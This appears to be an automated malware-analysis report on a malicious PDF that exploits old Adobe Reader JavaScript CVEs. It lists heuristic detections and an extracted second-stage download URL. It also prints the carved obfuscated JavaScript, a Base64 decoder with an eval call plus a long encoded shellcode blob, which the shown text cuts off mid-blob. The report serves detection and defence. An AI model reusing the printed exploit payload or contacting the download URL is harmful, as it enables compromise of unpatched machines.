PDF malware analysis — malicious · ab973a92f84c6860

MALICIOUS

PDF

8.9 KB First seen: 2026-05-11

MD5: e5572804449ead23453fc5c910b59e6b SHA-1: e2b65cf47400ef3f3d1380007895ae8930f000c2 SHA-256: ab973a92f84c6860c99b77c82eaa25fea3f09bc0b494b7c515e3e9cdf7540991

558 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.001 Malicious Link T1204.002 Malicious File

This PDF file contains embedded JavaScript that leverages multiple Adobe Reader vulnerabilities (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) to execute code. The JavaScript is obfuscated and uses a custom Base64 decoder to unpack layers of exploit code. The heuristic firings and the ClamAV detection of 'Js.Exploit.Shellcode-18' indicate that the primary goal is to exploit these vulnerabilities, likely to download and execute a second-stage payload.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 11

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
eval(decode64(aasd));
```
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://n-pills.com/n_p/getexe.php?spl=pdf Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0009_000.js`	pdf-javascript-stream	PDF /JS object 9 at offset 0xD6	19584 bytes
SHA-256: `d5dafcc58f353dff0371d81f0aca6881a27c36438c90fa31786bd24db570215f`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; function decode64(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); do { enc1 = keyStr.indexOf(input.charAt(i++)); enc2 = keyStr.indexOf(input.charAt(i++)); enc3 = keyStr.indexOf(input.charAt(i++)); enc4 = keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) \| (enc2 >> 4); chr2 = ((enc2 & 15) << 4) \| (enc3 >> 2); chr3 = ((enc3 & 3) << 6) \| enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } while (i < input.length); return output; } var aasd = decode64("RFFwMllYSWdiMEpvU0VOVlMxZFZTVkJhTlVoU1ZDQTlJRzVsZHlCQmNuSmhlU2dwT3cwS2RtRnlJRXgyV1Zka1FsQnJiVTh6ZDB4aVlWbzdEUXBtZFc1amRHbHZiaUJQWjFobk1EaGljRkYyZG1SeFZVbG1LRlpPWW5admJuaElibVpZWjNGMlNXUXNJSFEwVVhOUmJubHJhV3hqWTA5cVFtUXBlM2RvYVd4bElDaFdUbUoyYjI1NFNHNW1XR2R4ZGtsa0xteGxibWQwYUNBcUlESWdQQ0IwTkZGelVXNTVhMmxzWTJOUGFrSmtLWHRXVG1KMmIyNTRTRzVtV0dkeGRrbGtJQ3M5SUZaT1luWnZibmhJYm1aWVozRjJTV1E3ZlZaT1luWnZibmhJYm1aWVozRjJTV1FnUFNCV1RtSjJiMjU0U0c1bVdHZHhka2xrTG5OMVluTjBjbWx1Wnlnd0xDQjBORkZ6VVc1NWEybHNZMk5QYWtKa0lDOGdNaWs3RFFvZ0lISmxkSFZ5YmlCV1RtSjJiMjU0U0c1bVdHZHhka2xrTzMwTkNtWjFibU4wYVc5dUlFMDBUVlJUVDJSVWFqZFJNVTlEUW5Jb1FVNUdkRUZ3UkRCNlZHWndUMDlNT1NsN0RRcDJZWElnWlZkR1pGWlNSRFY1TjFreU0wNXJTaUE5SUhWdVpYTmpZWEJsS0NJbGRUa3dPVEFsZFRrd09UQWlLVHNOQ25aaGNpQlNNbVpYVDB4ck5XTjVjWGxTWWt4YUlEMGdRVTVHZEVGd1JEQjZWR1p3VDA5TU9TQXRJREI0TnpBd01EQXdPdzBLZG1GeUlFbE9SWEpqWTJKcmVYSlFZbGRoVjNJZ1BTQW5KWFZCTVRZMEpYVXdNREU0SlhVd01EQXdKWFUwTURoQ0pYVTRRak13SlhVMU5EUXdKWFUwTURoQ0pYVTRRakEwSlhVd05EUXdKWFUwTURoQ0pYVXdSREEwSlhVd01ESXdKWFV3TURJd0pYVTNRek5FSlhVM056QXdKWFUzTkRBd0pYVkRNekF4SlhWRE1ETXpKWFU0UWpZMEpYVXpNRFF3SlhVd1F6YzRKWFUwTURoQ0pYVTRRakJESlhVeFF6Y3dKWFU0UWtGRUpYVXdPRFU0SlhVd09VVkNKWFUwTURoQ0pYVTRSRE0wSlhVM1F6UXdKWFUxT0RoQ0pYVTJRVE5ESlhVMVFUUkZKWFZGTWtReEpYVkZNakpDSlhWRlF6aENKWFUwTlVNM0pYVTJSVEV3SlhVMk5USkZKWFZETnpjNEpYVXhORFExSlhVd01VWkdKWFV3TURBd0pYVTBOVU0zSlhVd01EQXdKWFV3TURBd0pYVkZRakF3SlhVMVFUUkdKWFU0TXpVeUpYVTFOa1ZCSlhVMU5UZzVKWFUxTmpFNEpYVTRRalUzSlhVelF6Y3pKWFUzTkRoQ0pYVTNPRE16SlhWR016QXpKWFU0UWpVMkpYVXlNRGMySlhWR016QXpKWFZET1RNekpYVTFNRFE1SlhWQlJEUXhKWFZHUmpNekpYVXdSak0ySlhVeE5FSkZKWFV6T0RBekpYVTNORVl5SlhWRE1UQTRKWFV3UkVOR0pYVkdRVEF6SlhWRlFqUXdKWFUxT0VWR0pYVkdPRE5DSlhWRk5UYzFKWFU0UWpWRkpYVXlORFEySlhWRE16QXpKWFU0UWpZMkpYVTBPREJESlhVMU5qaENKWFV3TXpGREpYVTRRa1F6SlhVNFFUQTBKWFZETXpBekpYVTFSVFZHSlhWRE16VXdKWFUzUkRoRUpYVTFOekZESlhWQ09EVXlKWFZEUVRNekpYVTFRamhCSlhWQk1rVTRKWFZHUmtaR0pYVXpNa1pHSlhVNFFrTXdKWFZHTWtZM0pYVTBSa0ZGSlhVME5UaENKWFZCUWpFd0pYVTVPRFkySlhWQlFqWTJKWFZETURNekpYVTJNVUk0SlhVd01EWTBKWFUxTURBd0pYVTFORFk0SlhVM01qWTRKWFV6TlRZMUpYVXhRekkwSlhVM05EWTVKWFUxTkRVd0pYVkNPRFV6SlhWR1EwRkJKWFUzUXpCRUpYVTFOVVpHSlhVNE16RTRKWFV3UTBNMEpYVkNNRFV3SlhVNFFUWkRKWFU1T0VVd0pYVTJPRFV3SlhVMlJUWkdKWFUyTkRKRkpYVTNOVFk0SlhVMlF6Y3lKWFUxTkRaRUpYVTRSVUk0SlhVd1JUUkZKWFZHUmtWREpYVXhPRFUxSlhWRE5EZ3pKWFU1TXpCREpYVXpNelV3SlhVMU1FTXdKWFUxTmpVd0pYVTFOVGhDSlhVd016RTRKWFV4TkRVMUpYVTFNRFV5SlhVek5rSTRKWFV5UmpGQkpYVkdSamN3SlhVeE9EVTFKWFU0TXpWQ0pYVXdNRGRFSlhVd1JqQXhKWFU1UlRnMUpYVXdNREF3SlhVMlFUQXdKWFUyT0RBd0pYVXdNRGd3SlhVd01EQXdKWFV3TXpaQkpYVXdNRFpCSlhVd016WkJKWFV3TURZNEpYVXdNREF3SlhVMU5rTXdKWFZCTlVJNEpYVXdNREUzSlhWR1JqZERKWFV4T0RVMUpYVTBOVGc1SlhVMlFUQTBKWFUyT0RBMEpYVXhNREF3SlhVd01EQXdKWFV3TURZNEpYVXdPREF3SlhVMlFUQXdKWFZDT0RBd0pYVkRRVFUwSlhVNU1VRkdKWFUxTlVaR0pYVTRPVEU0SlhVd1F6UTFKWFUyUVRVd0pYVTRSREF3SlhVd09EUkVKWFUyT0RVeEpYVXdNREF3SlhVd01EQTRKWFZHUmpVd0pYVXdORGMxSlhVeE5rSTRKWFZHUVRZMUpYVkdSakV3SlhVeE9EVTFKWFU0UWpWR0pYVTRNekUzSlhVd05FTTNKWFUwUkRoQ0pYVTRNekE0SlhVd05FVTVKWFZCTjBVNEpYVXdNREF3SlhVMlFUQXdKWFUyUVRBd0pYVTJRVEF3SlhWR1JqQXdKWFV3TkRjMUpYVkJRMEk0SlhWRVFUQTRKWFZHUmpjMkpYVXhPRFUxSlhVd01EWkJKWFUwUkRoRUpYVTFNVEE0SlhVM05VWkdKWFZHUmpBNEpYVXdRemMxSlhVd05EZ3pKWFV3TkRJMEpYVTNOVVpHSlhWQ09EQTBKWFUzT1RGR0pYVkZPREJCSlhVMU5VWkdKWFZHUmpFNEpYVXdORGMxSlhWR1FrSTRKWFZHUkRrM0pYVkdSakJHSlhVeE9EVTFKWFUwTlVNM0pYVXdNakF3SlhVd01EQXdKWFUxTnpBd0pYVkNPRFUySlhWR1JUazRKWFV3UlRoQkpYVTFOVVpHSlhWRlFqRTRKWFV4T0RKQkpYVkdPVEpCSlhWRU1rSTNKWFZDTXpjM0pYVTBOVEF4SlhVNU1qaEJKWFZCUkVJM0pYVTFSRFV3SlhVMk4wVTBKWFZGTmtZMUpYVXhRVU0zSlhWQlFrSkdKWFV4TURGRkpYVTNOalF5SlhWQk1VRXlKWFUyTXpVMEpYVTNRakE1SlhWQ01EZzVKWFU1TjBZMEpYVTNNelJGSlhVelJqa3pKWFU0TTBZeEpYVXdNRGRFSlhVM05EQXlKWFZETnpZd0pYVXdNRFExSlhVd01EQXhKWFV3TURBd0pYVTBOVU0zSlhVM09URXdKWFUyTlRKRkpYVkROemM0SlhVeE5EUTFKWFV3TVRjeUpYVXdNREF3SlhVM1JEaENKWFV3TXpFNEpYVXhORGRFSlhVeU5rSTVKWFV3TURBd0pYVTRRakF3SlhWR1F6VTNKWFV3TlVVNEpYVXdNREF3SlhWRk9UQXdKWFZHUlRkREpYVkdSa1pHSlhWRE1ETXpKWFV3TnpoQkpYVkRPRVF5SlhWRE1UTXlKWFZFTUVZMkpYVkROVE15SlhWRE1qTXlKWFZETmpNeUpYVkRNRVF5SlhWRE1UQXlKWFZETlRBeUpYVkRNakF5SlhWRE5qQXlKWFZET0VReUpYVkRNVEpCSlhWRE5USkJKWFZFTUVZMkpYVkRNakpCSlhWRE5qSkJKWFZETUVReUpYVkRNa1F6SlhWRFFUQkdKWFV3TnpnNEpYVTBPVFEzSlhWRFJUYzFKWFZETTBNekpYVTNORFk0SlhVM01EYzBKWFV5UmpOQkpYVTJSVEpHSlhVM01ESkVKWFUyUXpZNUpYVTNNelpESlhVMk16SkZKWFUyUkRaR0pYVTJSVEpHSlhVM01EVkdKWFUyTnpKR0pYVTNORFkxSlhVM09EWTFKWFV5UlRZMUpYVTJPRGN3SlhVelJqY3dKWFUzTURjekpYVXpSRFpESlhVMk5EY3dKWFV3TURZMkp6c05DbmRvYVd4bElDaGxWMFprVmxKRU5YazNXVEl6VG10S0xteGxibWQwYUR4emJHRmphM053WVdObEtTQmxWMFprVmxKRU5YazNXVEl6VG10S0t6MWxWMFprVmxKRU5YazNXVEl6VG10S093MEtTVTVGY21OalltdDVjbEJpVjJGWGNpQTlJRUZPUm5SQmNFUXdlbFJtY0U5UFREa3VjM1ZpYzNSeWFXNW5LREFzSUVGT1JuUkJjRVF3ZWxSbWNFOVBURGtwTzMwTkNtWjFibU4wYVc5dUlHdEdTbFpZWTJzeFZrNUNNWE5KVUVnb2NGSnJSVFZJYTBsYVRHbHpNMm8zTXlsN0RRb2dJSFpoY2lCNlpUZFNSVVI0YmxGYWR6RmxiVGMxSUQwZ01IZ3dZekJqTUdNd1l6dDJZWElnZFhnd1UxQnNNMUpKYmt0RVYyRlJlaUE5SUhWdVpYTmpZWEJsS0NJbGRVRXhOalFsZFRBd01UZ2xkVEF3TURBbGRUUXdPRUlsZFRoQ016QWxkVFUwTkRBbGRUUXdPRUlsZFRoQ01EUWxkVEEwTkRBbGRUUXdPRUlsZFRCRU1EUWxkVEF3TWpBbGRUQXdNakFsZFRkRE0wUWxkVGMzTURBbGRUYzBNREFsZFVNek1ERWxkVU13TXpNbGRUaENOalFsZFRNd05EQWxkVEJETnpnbGRUUXdPRUlsZFRoQ01FTWxkVEZETnpBbGRUaENRVVFsZFRBNE5UZ2xkVEE1UlVJbGRUUXdPRUlsZFRoRU16UWxkVGRETkRBbGRUVTRPRUlsZFRaQk0wTWxkVFZCTkVVbGRVVXlSREVsZFVVeU1rSWxkVVZET0VJbGRUUTFRemNsZFRaRk1UQWxkVFkxTWtVbGRVTTNOemdsZFRFME5EVWxkVEF4UmtZbGRUQXdNREFsZFRRMVF6Y2xkVEF3TURBbGRUQXdNREFsZFVWQ01EQWxkVFZCTkVZbGRUZ3pOVElsZFRVMlJVRWxkVFUxT0RrbGRUVTJNVGdsZFRoQ05UY2xkVE5ETnpNbGRUYzBPRUlsZFRjNE16TWxkVVl6TURNbGRUaENOVFlsZFRJd056WWxkVVl6TURNbGRVTTVNek1sZFRVd05Ea2xkVUZFTkRFbGRVWkdNek1sZFRCR016WWxkVEUwUWtVbGRUTTRNRE1sZFRjMFJqSWxkVU14TURnbGRUQkVRMFlsZFVaQk1ETWxkVVZDTkRBbGRUVTRSVVlsZFVZNE0wSWxkVVUxTnpVbGRUaENOVVVsZFRJME5EWWxkVU16TURNbGRUaENOallsZFRRNE1FTWxkVFUyT0VJbGRUQXpNVU1sZFRoQ1JETWxkVGhCTURRbGRVTXpNRE1sZFRWRk5VWWxkVU16TlRBbGRUZEVPRVFsZFRVM01VTWxkVUk0TlRJbGRVTkJNek1sZFRWQ09FRWxkVUV5UlRnbGRVWkdSa1lsZFRNeVJrWWxkVGhDUXpBbGRVWXlSamNsZFRSR1FVVWxkVFExT0VJbGRVRkNNVEFsZFRrNE5qWWxkVUZDTmpZbGRVTXdNek1sZFRZeFFqZ2xkVEF3TmpRbGRUVXdNREFsZFRVME5qZ2xkVGN5TmpnbGRUTTFOalVsZFRGRE1qUWxkVGMwTmprbGRUVTBOVEFsZFVJNE5UTWxkVVpEUVVFbGRUZERNRVFsZFRVMVJrWWxkVGd6TVRnbGRUQkRRelFsZFVJd05UQWxkVGhCTmtNbGRUazRSVEFsZFRZNE5UQWxkVFpGTmtZbGRUWTBNa1VsZFRjMU5qZ2xkVFpETnpJbGRUVTBOa1FsZFRoRlFqZ2xkVEJGTkVVbGRVWkdSVU1sZFRFNE5UVWxkVU0wT0RNbGRUa3pNRU1sZFRNek5UQWxkVFV3UXpBbGRUVTJOVEFsZFRVMU9FSWxkVEF6TVRnbGRURTBOVFVsZFRVd05USWxkVE0yUWpnbGRUSkdNVUVsZFVaR056QWxkVEU0TlRVbGRUZ3pOVUlsZFRBd04wUWxkVEJHTURFbGRUbEZPRFVsZFRBd01EQWxkVFpCTURBbGRUWTRNREFsZFRBd09EQWxkVEF3TURBbGRUQXpOa0VsZFRBd05rRWxkVEF6TmtFbGRUQXdOamdsZFRBd01EQWxkVFUyUXpBbGRVRTFRamdsZFRBd01UY2xkVVpHTjBNbGRURTROVFVsZFRRMU9Ea2xkVFpCTURRbGRUWTRNRFFsZFRFd01EQWxkVEF3TURBbGRUQXdOamdsZFRBNE1EQWxkVFpCTURBbGRVSTRNREFsZFVOQk5UUWxkVGt4UVVZbGRUVTFSa1lsZFRnNU1UZ2xkVEJETkRVbGRUWkJOVEFsZFRoRU1EQWxkVEE0TkVRbGRUWTROVEVsZFRBd01EQWxkVEF3TURnbGRVWkdOVEFsZFRBME56VWxkVEUyUWpnbGRVWkJOalVsZFVaR01UQWxkVEU0TlRVbGRUaENOVVlsZFRnek1UY2xkVEEwUXpjbGRUUkVPRUlsZFRnek1EZ2xkVEEwUlRrbGRVRTNSVGdsZFRBd01EQWxkVFpCTURBbGRUWkJNREFsZFRaQk1EQWxkVVpHTURBbGRUQTBOelVsZFVGRFFqZ2xkVVJCTURnbGRVWkdOellsZFRFNE5UVWxkVEF3TmtFbGRUUkVPRVFsZFRVeE1EZ2xkVGMxUmtZbGRVWkdNRGdsZFRCRE56VWxkVEEwT0RNbGRUQTBNalFsZFRjMVJrWWxkVUk0TURRbGRUYzVNVVlsZFVVNE1FRWxkVFUxUmtZbGRVWkdNVGdsZFRBME56VWxkVVpDUWpnbGRVWkVPVGNsZFVaR01FWWxkVEU0TlRVbGRUUTFRemNsZFRBeU1EQWxkVEF3TURBbGRUVTNNREFsZFVJNE5UWWxkVVpGT1RnbGRUQkZPRUVsZFRVMVJrWWxkVVZDTVRnbGRURTRNa0VsZFVZNU1rRWxkVVF5UWpjbGRVSXpOemNsZFRRMU1ERWxkVGt5T0VFbGRVRkVRamNsZFRWRU5UQWxkVFkzUlRRbGRVVTJSalVsZFRGQlF6Y2xkVUZDUWtZbGRURXdNVVVsZFRjMk5ESWxkVUV4UVRJbGRUWXpOVFFsZFRkQ01Ea2xkVUl3T0RrbGRUazNSalFsZFRjek5FVWxkVE5HT1RNbGRUZ3pSakVsZFRBd04wUWxkVGMwTURJbGRVTTNOakFsZFRBd05EVWxkVEF3TURFbGRUQXdNREFsZFRRMVF6Y2xkVGM1TVRBbGRUWTFNa1VsZFVNM056Z2xkVEUwTkRVbGRUQXhOeklsZFRBd01EQWxkVGRFT0VJbGRUQXpNVGdsZFRFME4wUWxkVEkyUWprbGRUQXdNREFsZFRoQ01EQWxkVVpETlRjbGRUQTFSVGdsZFRBd01EQWxkVVU1TURBbGRVWkZOME1sZFVaR1JrWWxkVU13TXpNbGRUQTNPRUVsZFVNNFJESWxkVU14TXpJbGRVUXdSallsZFVNMU16SWxkVU15TXpJbGRVTTJNeklsZFVNd1JESWxkVU14TURJbGRVTTFNRElsZFVNeU1ESWxkVU0yTURJbGRVTTRSRElsZFVNeE1rRWxkVU0xTWtFbGRVUXdSallsZFVNeU1rRWxkVU0yTWtFbGRVTXdSRElsZFVNeVJETWxkVU5CTUVZbGRUQTNPRGdsZFRRNU5EY2xkVU5GTnpVbGRVTXpRek1sZFRjME5qZ2xkVGN3TnpRbGRUSkdNMEVsZFRaRk1rWWxkVGN3TWtRbGRUWkROamtsZFRjek5rTWxkVFl6TWtVbGRUWkVOa1lsZFRaRk1rWWxkVGN3TlVZbGRUWTNNa1lsZFRjME5qVWxkVGM0TmpVbGRUSkZOalVsZFRZNE56QWxkVE5HTnpBbGRUY3dOek1sZFRORU5rTWxkVFkwTnpBbGRUQXdOallpS1R0cFppQW9jRkpyUlRWSWEwbGFUR2x6TTJvM015QTlQU0F4S1h0NlpUZFNSVVI0YmxGYWR6RmxiVGMxSUQwZ01IZ3pNRE13TXpBek1EdDFlREJUVUd3elVrbHVTMFJYWVZGNklEMGdkVzVsYzJOaGNHVW9JaVYxUVRFMk5DVjFNREF4T0NWMU1EQXdNQ1YxTkRBNFFpVjFPRUl6TUNWMU5UUTBNQ1YxTkRBNFFpVjFPRUl3TkNWMU1EUTBNQ1YxTkRBNFFpVjFNRVF3TkNWMU1EQXlNQ1YxTURBeU1DVjFOME16UkNWMU56Y3dNQ1YxTnpRd01DVjFRek13TVNWMVF6QXpNeVYxT0VJMk5DVjFNekEwTUNWMU1FTTNPQ1YxTkRBNFFpVjFPRUl3UXlWMU1VTTNNQ1YxT0VKQlJDVjFNRGcxT0NWMU1EbEZRaVYxTkRBNFFpVjFPRVF6TkNWMU4wTTBNQ1YxTlRnNFFpVjFOa0V6UXlWMU5VRTBSU1YxUlRKRU1TVjFSVEl5UWlWMVJVTTRRaVYxTkRWRE55VjFOa1V4TUNWMU5qVXlSU1YxUXpjM09DVjFNVFEwTlNWMU1ERkdSaVYxTURBd01DVjFORFZETnlWMU1EQXdNQ1YxTURBd01DVjFSVUl3TUNWMU5VRTBSaVYxT0RNMU1pVjFOVFpGUVNWMU5UVTRPU1YxTlRZeE9DVjFPRUkxTnlWMU0wTTNNeVYxTnpRNFFpVjFOemd6TXlWMVJqTXdNeVYxT0VJMU5pVjFNakEzTmlWMVJqTXdNeVYxUXprek15VjFOVEEwT1NWMVFVUTBNU1YxUmtZek15VjFNRVl6TmlWMU1UUkNSU1YxTXpnd015VjFOelJHTWlWMVF6RXdPQ1YxTUVSRFJpVjFSa0V3TXlWMVJVSTBNQ1YxTlRoRlJpVjFSamd6UWlWMVJUVTNOU1YxT0VJMVJTVjFNalEwTmlWMVF6TXdNeVYxT0VJMk5pVjFORGd3UXlWMU5UWTRRaVYxTURNeFF5VjFPRUpFTXlWMU9FRXdOQ1YxUXpNd015VjFOVVUxUmlWMVF6TTFNQ1YxTjBRNFJDVjFOVGN4UXlWMVFqZzFNaVYxUTBFek15VjFOVUk0UVNWMVFUSkZPQ1YxUmtaR1JpVjFNekpHUmlWMU9FSkRNQ1YxUmpKR055VjFORVpCUlNWMU5EVTRRaVYxUVVJeE1DVjFPVGcyTmlWMVFVSTJOaVYxUXpBek15VjFOakZDT0NWMU1EQTJOQ1YxTlRBd01DVjFOVFEyT0NWMU56STJPQ1YxTXpVMk5TVjFNVU15TkNWMU56UTJPU1YxTlRRMU1DVjFRamcxTXlWMVJrTkJRU1YxTjBNd1JDVjFOVFZHUmlWMU9ETXhPQ1YxTUVORE5DVjFRakExTUNWMU9FRTJReVYxT1RoRk1DVjFOamcxTUNWMU5rVTJSaVYxTmpReVJTVjFOelUyT0NWMU5rTTNNaVYxTlRRMlJDVjFPRVZDT0NWMU1FVTBSU1YxUmtaRlF5VjFNVGcxTlNWMVF6UTRNeVYxT1RNd1F5VjFNek0xTUNWMU5UQkRNQ1YxTlRZMU1DVjFOVFU0UWlWMU1ETXhPQ1YxTVRRMU5TVjFOVEExTWlWMU16WkNPQ1YxTWtZeFFTVjFSa1kzTUNWMU1UZzFOU1YxT0RNMVFpVjFNREEzUkNWMU1FWXdNU1YxT1VVNE5TVjFNREF3TUNWMU5rRXdNQ1YxTmpnd01DVjFNREE0TUNWMU1EQXdNQ1YxTURNMlFTVjFNREEyUVNWMU1ETTJRU1YxTURBMk9DVjFNREF3TUNWMU5UWkRNQ1YxUVRWQ09DVjFNREF4TnlWMVJrWTNReVYxTVRnMU5TVjFORFU0T1NWMU5rRXdOQ1YxTmpnd05DVjFNVEF3TUNWMU1EQXdNQ1YxTURBMk9DVjFNRGd3TUNWMU5rRXdNQ1YxUWpnd01DVjFRMEUxTkNWMU9URkJSaVYxTlRWR1JpVjFPRGt4T0NWMU1FTTBOU1YxTmtFMU1DVjFPRVF3TUNWMU1EZzBSQ1YxTmpnMU1TVjFNREF3TUNWMU1EQXdPQ1YxUmtZMU1DVjFNRFEzTlNWMU1UWkNPQ1YxUmtFMk5TVjFSa1l4TUNWMU1UZzFOU1YxT0VJMVJpVjFPRE14TnlWMU1EUkROeVYxTkVRNFFpVjFPRE13T0NWMU1EUkZPU1YxUVRkRk9DVjFNREF3TUNWMU5rRXdNQ1YxTmtFd01DVjFOa0V3TUNWMVJrWXdNQ1YxTURRM05TVjFRVU5DT0NWMVJFRXdPQ1YxUmtZM05pVjFNVGcxTlNWMU1EQTJRU1YxTkVRNFJDVjFOVEV3T0NWMU56VkdSaVYxUmtZd09DVjFNRU0zTlNWMU1EUTRNeVYxTURReU5DVjFOelZHUmlWMVFqZ3dOQ1YxTnpreFJpVjFSVGd3UVNWMU5UVkdSaVYxUmtZeE9DVjFNRFEzTlNWMVJrSkNPQ1YxUmtRNU55VjFSa1l3UmlWMU1UZzFOU1YxTkRWRE55VjFNREl3TUNWMU1EQXdNQ1YxTlRjd01DVjFRamcxTmlWMVJrVTVPQ1YxTUVVNFFTVjFOVFZHUmlWMVJVSXhPQ1YxTVRneVFTVjFSamt5UVNWMVJESkNOeVYxUWpNM055VjFORFV3TVNWMU9USTRRU1YxUVVSQ055VjFOVVExTUNWMU5qZEZOQ1YxUlRaR05TVjFNVUZETnlWMVFVSkNSaVYxTVRBeFJTVjFOelkwTWlWMVFURkJNaVYxTmpNMU5DVjFOMEl3T1NWMVFqQTRPU1YxT1RkR05DVjFOek0wUlNWMU0wWTVNeVYxT0ROR01TVjFNREEzUkNWMU56UXdNaVYxUXpjMk1DVjFNREEwTlNWMU1EQXdNU1YxTURBd01DVjFORFZETnlWMU56a3hNQ1YxTmpVeVJTVjFRemMzT0NWMU1UUTBOU1YxTURFM01pVjFNREF3TUNWMU4wUTRRaVYxTURNeE9DVjFNVFEzUkNWMU1qWkNPU1YxTURBd01DVjFPRUl3TUNWMVJrTTFOeVYxTURWRk9DVjFNREF3TUNWMVJUa3dNQ1YxUmtVM1F5VjFSa1pHUmlWMVF6QXpNeVYxTURjNFFTVjFRemhFTWlWMVF6RXpNaVYxUkRCR05pVjFRelV6TWlWMVF6SXpNaVYxUXpZek1pVjFRekJFTWlWMVF6RXdNaVYxUXpVd01pVjFRekl3TWlWMVF6WXdNaVYxUXpoRU1pVjFRekV5UVNWMVF6VXlRU1YxUkRCR05pVjFRekl5UVNWMVF6WXlRU1YxUXpCRU1pVjFRekpFTXlWMVEwRXdSaVYxTURjNE9DVjFORGswTnlWMVEwVTNOU1YxUXpORE15VjFOelEyT0NWMU56QTNOQ1YxTWtZelFTVjFOa1V5UmlWMU56QXlSQ1YxTmtNMk9TVjFOek0yUXlWMU5qTXlSU1YxTmtRMlJpVjFOa1V5UmlWMU56QTFSaVYxTmpjeVJpVjFOelEyTlNWMU56ZzJOU1YxTWtVMk5TVjFOamczTUNWMU0wWTNNQ1YxTnpBM015VjFNMFEyUXlWMU5qUTNNQ1YxTURBMk5pSXBPMzBOQ2lBZ1pXeHpaU0JwWmlBb2NGSnJSVFZJYTBsYVRHbHpNMm8zTXlBOVBTQXlLWHQxZURCVFVHd3pVa2x1UzBSWFlWRjZJRDBnZFc1bGMyTmhjR1VvSWlWMVFURTJOQ1YxTURBeE9DVjFNREF3TUNWMU5EQTRRaVYxT0VJek1DVjFOVFEwTUNWMU5EQTRRaVYxT0VJd05DVjFNRFEwTUNWMU5EQTRRaVYxTUVRd05DVjFNREF5TUNWMU1EQXlNQ1YxTjBNelJDVjFOemN3TUNWMU56UXdNQ1YxUXpNd01TVjFRekF6TXlWMU9FSTJOQ1YxTXpBME1DVjFNRU0zT0NWMU5EQTRRaVYxT0VJd1F5VjFNVU0zTUNWMU9FSkJSQ1YxTURnMU9DVjFNRGxGUWlWMU5EQTRRaVYxT0VRek5DVjFOME0wTUNWMU5UZzRRaVYxTmtFelF5VjFOVUUwUlNWMVJUSkVNU1YxUlRJeVFpVjFSVU00UWlWMU5EVkROeVYxTmtVeE1DVjFOalV5UlNWMVF6YzNPQ1YxTVRRME5TVjFNREZHUmlWMU1EQXdNQ1YxTkRWRE55VjFNREF3TUNWMU1EQXdNQ1YxUlVJd01DVjFOVUUwUmlWMU9ETTFNaVYxTlRaRlFTVjFOVFU0T1NWMU5UWXhPQ1YxT0VJMU55VjFNME0zTXlWMU56UTRRaVYxTnpnek15VjFSak13TXlWMU9FSTFOaVYxTWpBM05pVjFSak13TXlWMVF6a3pNeVYxTlRBME9TVjFRVVEwTVNWMVJrWXpNeVYxTUVZek5pVjFNVFJDUlNWMU16Z3dNeVYxTnpSR01pVjFRekV3T0NWMU1FUkRSaVYxUmtFd015VjFSVUkwTUNWMU5UaEZSaVYxUmp